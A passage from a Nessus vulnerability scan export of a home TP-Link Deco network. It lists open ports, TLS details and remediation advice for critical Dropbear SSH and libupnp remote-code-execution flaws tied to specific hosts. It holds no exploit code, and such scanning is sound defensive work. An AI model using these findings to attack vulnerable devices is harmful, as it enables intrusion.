  targets.		n/a				SSH was detected on port 22 but no credentials were provided.
SSH local checks were not enabled.

										None				IAVB:0001-B-0504				6/27/18		10/15/20

		117886						None		192.168.0.2		tcp		0		Local Checks Not Enabled (info)		Local checks were not enabled.		Nessus did not enable local checks on the remote host. This does not
necessarily indicate a problem with the scan. Credentials may not have
been provided, local checks may not be available for the target, the
target may not have been identified, or another issue may have
occurred that prevented local checks from being enabled. See plugin
output for details.

This plugin reports informational findings related to local checks not
being enabled. For failure information, see plugin 21745 :
'Authentication Failure - Local Checks Not Run'.		n/a				
The following issues were reported :

  - Plugin      : no_local_checks_credentials.nasl
    Plugin ID   : 110723
    Plugin Name : Target Credential Status by Authentication Protocol - No Credentials Provided
    Message     : 
Credentials were not provided for detected SSH service.
										None				IAVB:0001-B-0515				10/2/18		9/22/20

		10114		CVE-1999-0524		0		None		192.168.0.20		icmp		0		ICMP Timestamp Request Remote Date Disclosure		It is possible to determine the exact time set on the remote host.		The remote host answers to an ICMP timestamp request.  This allows an
attacker to know the date that is set on the targeted machine, which
may assist an unauthenticated, remote attacker in defeating time-based
authentication protocols.

Timestamps returned from machines running Windows Vista / 7 / 2008 /
2008 R2 are deliberately incorrect, but usually within 1000 seconds of
the actual system time.		Filter out the ICMP timestamp requests (13), and the outgoing ICMP
timestamp replies (14).				The difference between the local and remote clocks is -1 seconds.
				0						None				CWE:200				8/1/99		10/4/19

		10267						None		192.168.0.20		tcp		22		SSH Server Type and Version Information		An SSH server is listening on this port.		It is possible to obtain information about the remote SSH server by
sending an empty authentication request.		n/a				
SSH version : SSH-2.0-dropbear_2015.67
SSH supported authentication : publickey,password
										None				IAVT:0001-T-0933				10/12/99		9/22/20

		10287						None		192.168.0.20		udp		0		Traceroute Information		It was possible to obtain traceroute information.		Makes a traceroute to the remote host.		n/a				For your information, here is the traceroute from 192.168.0.35 to 192.168.0.20 : 
192.168.0.35
192.168.0.20

Hop Count: 1
										None								11/27/99		8/20/20

		10863						None		192.168.0.20		tcp		443		SSL Certificate Information		This plugin displays the SSL certificate.		This plugin connects to every SSL-related port and attempts to 
extract and dump the X.509 certificate.		n/a				Subject Name: 

Country: CN
Common Name: TP-Link

Issuer Name: 

Country: CN
Common Name: TP-Link

Serial Number: 00 8A 17 BB 72 B0 B4 07 41 

Version: 1

Signature Algorithm: SHA-256 With RSA Encryption

Not Valid Before: Jul 03 10:51:25 2020 GMT
Not Valid After: Jul 02 10:51:25 2025 GMT

Public Key Info: 

Algorithm: RSA Encryption
Key Length: 1024 bits
Public Key: 00 D7 AE C7 E0 5B 00 63 98 DA 1D CA 32 06 35 4B 67 F4 F4 0E 
            99 80 08 EB 11 F7 26 1B 9F 49 D3 E3 A5 1C 60 F4 CE F2 4C 4A 
            77 A0 A7 73 33 E2 E1 4F 24 8F 76 44 C2 19 7E CA 6A 8A 93 38 
            B3 A4 5C 2D 74 24 F5 D4 63 96 7F BA EA 18 03 CC 6E 56 B4 7E 
            D8 DC 1A C1 9F C6 5F 47 3F C5 99 74 44 A9 5C D6 24 77 DA 7F 
            C1 E4 F1 01 CD CD CC 92 65 51 CA 26 02 10 C7 69 8E 65 1F 4D 
            66 AF BB 52 DD D9 54 09 81 
Exponent: 01 00 01 

Signature Length: 128 bytes / 1024 bits
Signature: 00 4D 95 42 AC 90 76 B5 40 94 CB 3D B8 27 0D 7C 15 62 33 37 
           D7 72 C3 09 7E 45 B3 4F EA 1B A0 8E A3 DE 05 21 3B 15 E4 47 
           B0 75 31 48 CD 02 C7 1B FA 2A 14 B1 84 9D 58 E0 91 48 7E 17 
           4F 34 C8 09 EF B0 E3 58 B6 8B DE 0C 7E 6F C9 E6 F0 6F 3D 6E 
           AD D5 DB ED F4 B6 DE 1A 12 1E D4 3E DC 48 DD C6 08 FD 63 4F 
           A4 D4 8A 55 65 46 78 B3 BD 98 6D 66 46 EE B5 B9 BB 41 15 93 
           80 DC E7 0E 26 FE E2 28 CD 

Fingerprints : 

SHA-256 Fingerprint: C0 3A 18 70 D6 91 02 94 23 8D 31 52 7F 31 FF 9D 21 F9 C4 07 
                     B1 E7 57 29 FA 2F 86 FF B0 F9 A6 44 
SHA-1 Fingerprint: 62 7D 96 DB 8D 57 77 92 3B B4 D9 96 B4 F3 95 D4 12 6D BE 8E 
MD5 Fingerprint: 73 E5 2A B8 48 9C 31 5B 31 3B A5 E8 D8 AA DE 0E 


PEM certificate : 

-----BEGIN CERTIFICATE-----

-----END CERTIFICATE-----										None								5/19/08		10/26/20

		11219						None		192.168.0.20		tcp		22		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 22/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.20		tcp		80		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 80/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.20		tcp		443		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 443/tcp was found to be open										None								2/4/09		9/14/20

		11936						None		192.168.0.20		tcp		0		OS Identification		It is possible to guess the remote operating system.		Using a combination of remote probes (e.g., TCP/IP, SMB, HTTP, NTP,
SNMP, etc.), it is possible to guess the name of the remote operating
system in use. It is also possible sometimes to guess the version of
the operating system.		n/a				
Remote operating system : Linux Kernel 3.1
Linux Kernel 3.3
Confidence level : 59
Method : SinFP

 
The remote host is running one of these operating systems : 
Linux Kernel 3.1
Linux Kernel 3.3										None								12/9/03		3/9/20

		12053						None		192.168.0.20		tcp		0		Host Fully Qualified Domain Name (FQDN) Resolution		It was possible to resolve the name of the remote host.		Nessus was able to resolve the fully qualified domain name (FQDN) of
the remote host.		n/a				
192.168.0.20 resolves as deco-E4R.
										None								2/11/04		4/14/17

		19506						None		192.168.0.20		tcp		0		Nessus Scan Information		This plugin displays information about the Nessus scan.		This plugin displays, for each tested host, information about the
scan itself :

  - The version of the plugin set.
  - The type of scanner (Nessus or Nessus Home).
  - The version of the Nessus Engine.
  - The port scanner(s) used.
  - The port range scanned.
  - Whether credentialed or third-party patch management
    checks are possible.
  - Whether the display of superseded patches is enabled
  - The date of the scan.
  - The duration of the scan.
  - The number of hosts scanned in parallel.
  - The number of checks done in parallel.		n/a				Information about this scan : 

Nessus version : 8.12.1
Plugin feed version : 202011051454
Scanner edition used : Nessus Home
Scan type : Normal
Scan policy used : Basic Network Scan
Scanner IP : 192.168.0.35
Port scanner(s) : nessus_syn_scanner 
Port range : default
Thorough tests : no
Experimental tests : no
Paranoia level : 1
Report verbosity : 1
Safe checks : yes
Optimize the test : yes
Credentialed checks : no
Patch management checks : None
Display superseded patches : yes (supersedence plugin launched)
CGI scanning : disabled
Web application tests : disabled
Max hosts : 30
Max checks : 4
Recv timeout : 5
Backports : None
Allow post-scan editing: Yes
Scan Start Date : 2020/11/5 13:09 EST
Scan duration : 298 sec
										None								8/26/05		8/27/20

		21643						None		192.168.0.20		tcp		443		SSL Cipher Suites Supported		The remote service encrypts communications using SSL.		This plugin detects which SSL ciphers are supported by the remote
service for encrypting communications.		n/a		https://www.openssl.org/docs/man1.1.0/apps/ciphers.html
http://www.nessus.org/u?3a040ada		
Here is the list of SSL ciphers supported by the remote server :
Each group is reported per SSL Version.

SSL Version : TLSv1
  Low Strength Ciphers (<= 64-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC-SHA                   0x00, 0x09       RSA           RSA      DES-CBC(56)            SHA1

  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    AES128-SHA                    0x00, 0x2F       RSA           RSA      AES-CBC(128)           SHA1
    AES256-SHA                    0x00, 0x35       RSA           RSA      AES-CBC(256)           SHA1
    RC4-MD5                       0x00, 0x04       RSA           RSA      RC4(128)               MD5
    RC4-SHA                       0x00, 0x05       RSA           RSA      RC4(128)               SHA1
    SEED-SHA                      0x00, 0x96       RSA           RSA      SEED-CBC(128)          SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
										None								6/5/06		7/9/20

		22964						None		192.168.0.20		tcp		22		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				An SSH server is running on this port.										None								8/19/07		8/18/20

		22964						None		192.168.0.20		tcp		80		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A web server is running on this port.										None								8/19/07		8/18/20

		22964						None		192.168.0.20		tcp		443		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A TLSv1 server answered on this port.
										None								8/19/07		8/18/20

		22964						None		192.168.0.20		tcp		443		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A web server is running on this port through TLSv1.										None								8/19/07		8/18/20

		24260						None		192.168.0.20		tcp		80		HyperText Transfer Protocol (HTTP) Information		Some information about the remote HTTP configuration can be extracted.		This test gives some information about the remote HTTP protocol - the
version used, whether HTTP Keep-Alive and HTTP pipelining are enabled,
etc... 

This test is informational only and does not denote any security
problem.		n/a				
Response Code : HTTP/1.1 200 OK


Protocol version : HTTP/1.1
SSL : no
Keep-Alive : yes
Options allowed : (Not implemented)
Headers :

  Connection: Keep-Alive
  Keep-Alive: timeout=20
  ETag: "736-110-5ed60b90"
  Last-Modified: Tue, 02 Jun 2020 08:19:28 GMT
  Date: Thu, 05 Nov 2020 18:11:49 GMT
  Content-Type: text/html
  Content-Length: 272
  
Response Body :

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="refresh" content="0; URL=/webpages/index.html" />
</head>
</html>
										None								1/30/07		11/22/19

		24260						None		192.168.0.20		tcp		443		HyperText Transfer Protocol (HTTP) Information		Some information about the remote HTTP configuration can be extracted.		This test gives some information about the remote HTTP protocol - the
version used, whether HTTP Keep-Alive and HTTP pipelining are enabled,
etc... 

This test is informational only and does not denote any security
problem.		n/a				
Response Code : HTTP/1.1 200 OK


Protocol version : HTTP/1.1
SSL : yes
Keep-Alive : yes
Options allowed : (Not implemented)
Headers :

  Connection: Keep-Alive
  Keep-Alive: timeout=20
  ETag: "736-110-5ed60b90"
  Last-Modified: Tue, 02 Jun 2020 08:19:28 GMT
  Date: Thu, 05 Nov 2020 18:11:50 GMT
  Content-Type: text/html
  Content-Length: 272
  
Response Body :

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="refresh" content="0; URL=/webpages/index.html" />
</head>
</html>
										None								1/30/07		11/22/19

		25220						None		192.168.0.20		tcp		0		TCP/IP Timestamps Supported		The remote service implements TCP timestamps.		The remote host implements TCP timestamps, as defined by RFC1323.  A
side effect of this feature is that the uptime of the remote host can
sometimes be computed.		n/a		http://www.ietf.org/rfc/rfc1323.txt												None								5/16/07		3/6/19

		93650		CVE-2016-7407		10		Critical		192.168.0.28		tcp		22		Dropbear SSH Server < 2016.72 Multiple Vulnerabilities		The SSH service running on the remote host is affected by multiple
vulnerabilities.		According to its self-reported version in its banner, Dropbear SSH
running on the remote host is prior to 2016.74. It is, therefore,
affected by the following vulnerabilities :

  - A format string flaw exists due to improper handling of
    string format specifiers (e.g., %s and %x) in usernames
    and host arguments. An unauthenticated, remote attacker
    can exploit this to execute arbitrary code with root
    privileges. (CVE-2016-7406)

  - A flaw exists in dropbearconvert due to improper
    handling of specially crafted OpenSSH key files. An
    unauthenticated, remote attacker can exploit this to
    execute arbitrary code. (CVE-2016-7407)

  - A flaw exists in dbclient when handling the -m or -c
    arguments in scripts. An unauthenticated, remote attacker
    can exploit this, via a specially crafted script, to
    execute arbitrary code. (CVE-2016-7408)

  - A flaw exists in dbclient or dropbear server if they are
    compiled with the DEBUG_TRACE option and then run using
    the -v switch. A local attacker can exploit this to
    disclose process memory. (CVE-2016-7409)		Upgrade to Dropbear SSH version 2016.74 or later.		https://matt.ucc.asn.au/dropbear/CHANGES		
  Version source    : SSH-2.0-dropbear_2015.67
  Installed version : 2015.67
  Fixed version     : 2016.74
				9.8		7.4		8.5		Critical		92970;92972;92973;92974						9/22/16		11/14/19

		35716						None		192.168.0.20		tcp		0		Ethernet Card Manufacturer Detection		The manufacturer can be identified from the Ethernet OUI.		Each ethernet MAC address starts with a 24-bit Organizationally 
Unique Identifier (OUI). These OUIs are registered by IEEE.		n/a		https://standards.ieee.org/faqs/regauth.html
http://www.nessus.org/u?794673b4		
The following card manufacturers were identified :

D8:47:32:3B:AD:6C : TP-LINK TECHNOLOGIES CO.,LTD.
										None								2/19/09		5/13/20

		93650		CVE-2016-7408		10		Critical		192.168.0.28		tcp		22		Dropbear SSH Server < 2016.72 Multiple Vulnerabilities		The SSH service running on the remote host is affected by multiple
vulnerabilities.		According to its self-reported version in its banner, Dropbear SSH
running on the remote host is prior to 2016.74. It is, therefore,
affected by the following vulnerabilities :

  - A format string flaw exists due to improper handling of
    string format specifiers (e.g., %s and %x) in usernames
    and host arguments. An unauthenticated, remote attacker
    can exploit this to execute arbitrary code with root
    privileges. (CVE-2016-7406)

  - A flaw exists in dropbearconvert due to improper
    handling of specially crafted OpenSSH key files. An
    unauthenticated, remote attacker can exploit this to
    execute arbitrary code. (CVE-2016-7407)

  - A flaw exists in dbclient when handling the -m or -c
    arguments in scripts. An unauthenticated, remote attacker
    can exploit this, via a specially crafted script, to
    execute arbitrary code. (CVE-2016-7408)

  - A flaw exists in dbclient or dropbear server if they are
    compiled with the DEBUG_TRACE option and then run using
    the -v switch. A local attacker can exploit this to
    disclose process memory. (CVE-2016-7409)		Upgrade to Dropbear SSH version 2016.74 or later.		https://matt.ucc.asn.au/dropbear/CHANGES		
  Version source    : SSH-2.0-dropbear_2015.67
  Installed version : 2015.67
  Fixed version     : 2016.74
				9.8		7.4		8.5		Critical		92970;92972;92973;92974						9/22/16		11/14/19

		45410						None		192.168.0.20		tcp		443		SSL Certificate 'commonName' Mismatch		The 'commonName' (CN) attribute in the SSL certificate does not match
the hostname.		The service running on the remote host presents an SSL certificate for
which the 'commonName' (CN) attribute does not match the hostname on
which the service listens.		If the machine has several names, make sure that users connect to the
service through the DNS hostname that matches the common name in the
certificate.				
The host name known by Nessus is :

  deco-e4r

The Common Name in the certificate is :

  tp-link
										None								4/3/10		6/25/19

		45590						None		192.168.0.20		tcp		0		Common Platform Enumeration (CPE)		It was possible to enumerate CPE names that matched on the remote
system.		By using information obtained from a Nessus scan, this plugin reports
CPE (Common Platform Enumeration) matches for various hardware and
software products found on a host. 

Note that if an official CPE is not available for the product, this
plugin computes the best possible CPE based on the information
available from the scan.		n/a		http://cpe.mitre.org/
https://nvd.nist.gov/products/cpe		
The remote operating system matched the following CPE's : 

  cpe:/o:linux:linux_kernel:3.1
  cpe:/o:linux:linux_kernel:3.3
										None								4/21/10		9/30/20

		46215						None		192.168.0.20		tcp		0		Inconsistent Hostname and IP Address		The remote host's hostname is not consistent with DNS information.		The name of this machine either does not resolve or resolves to a
different IP address. 

This may come from a badly configured reverse DNS or from a host file
in use on the Nessus scanning host. 

As a result, URLs in plugin output may not be directly usable in a web
browser and some web tests may be incomplete.		Fix the reverse DNS or host file.				The host name 'deco-E4R' resolves to 192.168.0.26, not to 192.168.0.20										None								5/3/10		8/5/16

		50845						None		192.168.0.20		tcp		443		OpenSSL Detection		The remote service appears to use OpenSSL to encrypt traffic.		Based on its response to a TLS request with a specially crafted
server name extension, it seems that the remote service is using the
OpenSSL library to encrypt traffic.

Note that this plugin can only detect OpenSSL implementations that
have enabled support for TLS extensions (RFC 4366).		n/a		https://www.openssl.org/												None								11/30/10		6/12/20

		93650		CVE-2016-7409		10		Critical		192.168.0.28		tcp		22		Dropbear SSH Server < 2016.72 Multiple Vulnerabilities		The SSH service running on the remote host is affected by multiple
vulnerabilities.		According to its self-reported version in its banner, Dropbear SSH
running on the remote host is prior to 2016.74. It is, therefore,
affected by the following vulnerabilities :

  - A format string flaw exists due to improper handling of
    string format specifiers (e.g., %s and %x) in usernames
    and host arguments. An unauthenticated, remote attacker
    can exploit this to execute arbitrary code with root
    privileges. (CVE-2016-7406)

  - A flaw exists in dropbearconvert due to improper
    handling of specially crafted OpenSSH key files. An
    unauthenticated, remote attacker can exploit this to
    execute arbitrary code. (CVE-2016-7407)

  - A flaw exists in dbclient when handling the -m or -c
    arguments in scripts. An unauthenticated, remote attacker
    can exploit this, via a specially crafted script, to
    execute arbitrary code. (CVE-2016-7408)

  - A flaw exists in dbclient or dropbear server if they are
    compiled with the DEBUG_TRACE option and then run using
    the -v switch. A local attacker can exploit this to
    disclose process memory. (CVE-2016-7409)		Upgrade to Dropbear SSH version 2016.74 or later.		https://matt.ucc.asn.au/dropbear/CHANGES		
  Version source    : SSH-2.0-dropbear_2015.67
  Installed version : 2015.67
  Fixed version     : 2016.74
				9.8		7.4		8.5		Critical		92970;92972;92973;92974						9/22/16		11/14/19

		54615						None		192.168.0.20		tcp		0		Device Type		It is possible to guess the remote device type.		Based on the remote operating system, it is possible to determine
what the remote system type is (eg: a printer, router, general-purpose
computer, etc).		n/a				Remote device type : general-purpose
Confidence level : 59
										None								5/23/11		5/23/11

		56984						None		192.168.0.20		tcp		443		SSL / TLS Versions Supported		The remote service encrypts communications.		This plugin detects which SSL and TLS versions are supported by the
remote service for encrypting communications.		n/a				
This port supports TLSv1.0.
										None								12/1/11		7/9/20

		64394		CVE-2012-5958		10		Critical		192.168.0.29		udp		1900		Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE		A network service running on the remote host is affected by multiple
remote code execution vulnerabilities.		According to its banner, the version of Portable SDK for UPnP Devices
(libupnp) running on the remote host is prior to 1.6.18. It is,
therefore, affected by multiple remote code execution
vulnerabilities :

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the DeviceType URN. An unauthenticated,
    remote attacker can exploit this, via a specially
    crafted SSDP request, to execute arbitrary code.
    (CVE-2012-5958)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to two colons. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted SSDP request, to execute arbitrary
    code. (CVE-2012-5959)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to the '::upnp:rootdevice'
    string. An unauthenticated, remote attacker can exploit
    this, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5960)

  - Multiple stack-based buffer overflow conditions exist in
    the unique_service_name() function within file
    ssdp/ssdp_server.c due to improper validation of the
    UDN, DeviceType, and ServiceType fields when parsing
    Simple Service Discovery Protocol (SSDP) requests. An
    unauthenticated, remote attacker can exploit these
    issues, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5961, CVE-2012-5962,
    CVE-2012-5963, CVE-2012-5964, CVE-2012-5965)		Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a
third party library by a different application, contact the vendor of
that application for a fix.		http://www.nessus.org/u?46d66d2f
https://help.rapid7.com/?community
http://www.nessus.org/u?d381943f
http://www.nessus.org/u?8642ada6
http://www.nessus.org/u?a76191f3		
  Server banner : Linux/3.0.82-grsec, UPnP/1.0, Portable SDK for UPnP devices/1.6.13
  Source: UDP
  Installed version : 1.6.13
  Fixed version : 1.6.18
				9.8		8.3		9.1		Critical		57602		CERT:922681;EDB-ID:24455				2/1/13		3/2/20		TRUE

		62563						None		192.168.0.20		tcp		443		SSL Compression Methods Supported		The remote service supports one or more compression methods for SSL
connections.		This script detects which compression methods are supported by the
remote service for SSL connections.		n/a		http://www.iana.org/assignments/comp-meth-ids/comp-meth-ids.xml
https://tools.ietf.org/html/rfc3749
https://tools.ietf.org/html/rfc3943
https://tools.ietf.org/html/rfc5246		
Nessus was able to confirm that the following compression method is 
supported by the target :

  DEFLATE (0x01)
										None								10/16/12		6/12/20

		62565		CVE-2012-4929		2.6		Low		192.168.0.20		tcp		443		Transport Layer Security (TLS) Protocol CRIME Vulnerability		The remote service has a configuration that may make it vulnerable to
the CRIME attack.		The remote service has one of two configurations that are known to be
required for the CRIME attack :

  - SSL / TLS compression is enabled.

  - TLS advertises the SPDY protocol earlier than version 4.

Note that Nessus did not attempt to launch the CRIME attack against the
remote service.		Disable compression and / or the SPDY service.		https://www.iacr.org/cryptodb/data/paper.php?pubkey=3091
https://discussions.nessus.org/thread/5546
http://www.nessus.org/u?c44d5826
https://bz.apache.org/bugzilla/show_bug.cgi?id=53219		
The following configuration indicates that the remote service
may be vulnerable to the CRIME attack :

  - SSL / TLS compression is enabled.
						1.9				Low		55704;55707						10/16/12		12/4/19

		62565		CVE-2012-4930		2.6		Low		192.168.0.20		tcp		443		Transport Layer Security (TLS) Protocol CRIME Vulnerability		The remote service has a configuration that may make it vulnerable to
the CRIME attack.		The remote service has one of two configurations that are known to be
required for the CRIME attack :

  - SSL / TLS compression is enabled.

  - TLS advertises the SPDY protocol earlier than version 4.

Note that Nessus did not attempt to launch the CRIME attack against the
remote service.		Disable compression and / or the SPDY service.		https://www.iacr.org/cryptodb/data/paper.php?pubkey=3091
https://discussions.nessus.org/thread/5546
http://www.nessus.org/u?c44d5826
https://bz.apache.org/bugzilla/show_bug.cgi?id=53219		
The following configuration indicates that the remote service
may be vulnerable to the CRIME attack :

  - SSL / TLS compression is enabled.
						1.9				Low		55704;55707						10/16/12		12/4/19

		64394		CVE-2012-5959		10		Critical		192.168.0.29		udp		1900		Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE		A network service running on the remote host is affected by multiple
remote code execution vulnerabilities.		According to its banner, the version of Portable SDK for UPnP Devices
(libupnp) running on the remote host is prior to 1.6.18. It is,
therefore, affected by multiple remote code execution
vulnerabilities :

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the DeviceType URN. An unauthenticated,
    remote attacker can exploit this, via a specially
    crafted SSDP request, to execute arbitrary code.
    (CVE-2012-5958)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to two colons. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted SSDP request, to execute arbitrary
    code. (CVE-2012-5959)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to the '::upnp:rootdevice'
    string. An unauthenticated, remote attacker can exploit
    this, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5960)

  - Multiple stack-based buffer overflow conditions exist in
    the unique_service_name() function within file
    ssdp/ssdp_server.c due to improper validation of the
    UDN, DeviceType, and ServiceType fields when parsing
    Simple Service Discovery Protocol (SSDP) requests. An
    unauthenticated, remote attacker can exploit these
    issues, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5961, CVE-2012-5962,
    CVE-2012-5963, CVE-2012-5964, CVE-2012-5965)		Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a
third party library by a different application, contact the vendor of
that application for a fix.		http://www.nessus.org/u?46d66d2f
https://help.rapid7.com/?community
http://www.nessus.org/u?d381943f
http://www.nessus.org/u?8642ada6
http://www.nessus.org/u?a76191f3		
  Server banner : Linux/3.0.82-grsec, UPnP/1.0, Portable SDK for UPnP devices/1.6.13
  Source: UDP
  Installed version : 1.6.13
  Fixed version : 1.6.18
				9.8		8.3		9.1		Critical		57602		CERT:922681;EDB-ID:24455				2/1/13		3/2/20		TRUE

		64394		CVE-2012-5960		10		Critical		192.168.0.29		udp		1900		Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE		A network service running on the remote host is affected by multiple
remote code execution vulnerabilities.		According to its banner, the version of Portable SDK for UPnP Devices
(libupnp) running on the remote host is prior to 1.6.18. It is,
therefore, affected by multiple remote code execution
vulnerabilities :

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the DeviceType URN. An unauthenticated,
    remote attacker can exploit this, via a specially
    crafted SSDP request, to execute arbitrary code.
    (CVE-2012-5958)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to two colons. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted SSDP request, to execute arbitrary
    code. (CVE-2012-5959)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to the '::upnp:rootdevice'
    string. An unauthenticated, remote attacker can exploit
    this, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5960)

  - Multiple stack-based buffer overflow conditions exist in
    the unique_service_name() function within file
    ssdp/ssdp_server.c due to improper validation of the
    UDN, DeviceType, and ServiceType fields when parsing
    Simple Service Discovery Protocol (SSDP) requests. An
    unauthenticated, remote attacker can exploit these
    issues, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5961, CVE-2012-5962,
    CVE-2012-5963, CVE-2012-5964, CVE-2012-5965)		Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a
third party library by a different application, contact the vendor of
that application for a fix.		http://www.nessus.org/u?46d66d2f
https://help.rapid7.com/?community
http://www.nessus.org/u?d381943f
http://www.nessus.org/u?8642ada6
http://www.nessus.org/u?a76191f3		
  Server banner : Linux/3.0.82-grsec, UPnP/1.0, Portable SDK for UPnP devices/1.6.13
  Source: UDP
  Installed version : 1.6.13
  Fixed version : 1.6.18
				9.8		8.3		9.1		Critical		57602		CERT:922681;EDB-ID:24455				2/1/13		3/2/20		TRUE

		66334						None		192.168.0.20		tcp		0		Patch Report		The remote host is missing several patches.		The remote host is missing one or more security patches. This plugin
lists the newest version of each patch to install to make sure the
remote host is up-to-date.		Install the patches listed below.				

. You need to take the following action :

[ Dropbear SSH Server < 2016.72 Multiple Vulnerabilities (93650) ]

+ Action to take : Upgrade to Dropbear SSH version 2016.74 or later.


										None								7/8/13		10/16/20

		69551						Low		192.168.0.20		tcp		443		SSL Certificate Chain Contains RSA Keys Less Than 2048 bits		The X.509 certificate chain used by this service contains certificates
with RSA keys shorter than 2048 bits.		At least one of the X.509 certificates sent by the remote host has a
key that is shorter than 2048 bits. According to industry standards
set by the Certification Authority/Browser (CA/B) Forum, certificates
issued after January 1, 2014 must be at least 2048 bits.

Some browser SSL implementations may reject keys less than 2048 bits
after January 1, 2014. Additionally, some SSL certificate vendors may
revoke certificates less than 2048 bits before January 1, 2014.

Note that Nessus will not flag root certificates with RSA keys less
than 2048 bits if they were issued prior to December 31, 2010, as the
standard considers them exempt.		Replace the certificate in the chain with the RSA key less than 2048
bits in length with a longer key, and reissue any certificates signed
by the old certificate.		https://www.cabforum.org/wp-content/uploads/Baseline_Requirements_V1.pdf		
The following certificates were part of the certificate chain
sent by the remote host, but contain RSA keys that are considered
to be weak :

|-Subject        : C=CN/CN=TP-Link
|-RSA Key Length : 1024 bits
										Low								9/3/13		11/15/18

		70544						None		192.168.0.20		tcp		443		SSL Cipher Block Chaining Cipher Suites Supported		The remote service supports the use of SSL Cipher Block Chaining
ciphers, which combine previous blocks with subsequent ones.		The remote host supports the use of SSL ciphers that operate in Cipher
Block Chaining (CBC) mode.  These cipher suites offer additional
security over Electronic Codebook (ECB) mode, but have the potential to
leak information if used improperly.		n/a		https://www.openssl.org/docs/manmaster/man1/ciphers.html
http://www.nessus.org/u?cc4a822a
https://www.openssl.org/~bodo/tls-cbc.txt		
Here is the list of SSL CBC ciphers supported by the remote server :

  Low Strength Ciphers (<= 64-bit key)

